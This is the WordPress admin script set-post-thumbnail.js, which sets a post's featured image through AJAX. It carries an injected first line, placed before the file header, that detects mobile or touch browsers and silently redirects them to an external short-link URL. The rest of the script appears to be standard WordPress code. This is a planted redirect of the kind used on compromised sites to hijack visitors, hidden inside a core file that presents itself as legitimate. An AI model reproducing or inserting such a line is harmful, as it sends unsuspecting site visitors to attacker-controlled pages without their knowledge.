1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/set-post-thumbnail.js
4 */
5
6/* global ajaxurl, post_id, alert */
7/* exported WPSetAsThumbnail */
8
9window.WPSetAsThumbnail = function( id, nonce ) {
10 var $link = jQuery('a#wp-post-thumbnail-' + id);
11
12 $link.text( wp.i18n.__( 'Saving…' ) );
13 jQuery.post(ajaxurl, {
14 action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
15 }, function(str){
16 var win = window.dialogArguments || opener || parent || top;
17 $link.text( wp.i18n.__( 'Use as featured image' ) );
18 if ( str == '0' ) {
19 alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
20 } else {
21 jQuery('a.wp-post-thumbnail').show();
22 $link.text( wp.i18n.__( 'Done' ) );
23 $link.fadeOut( 2000 );
24 win.WPSetThumbnailID(id);
25 win.WPSetThumbnailHTML(str);
26 }
27 }
28 );
29};
30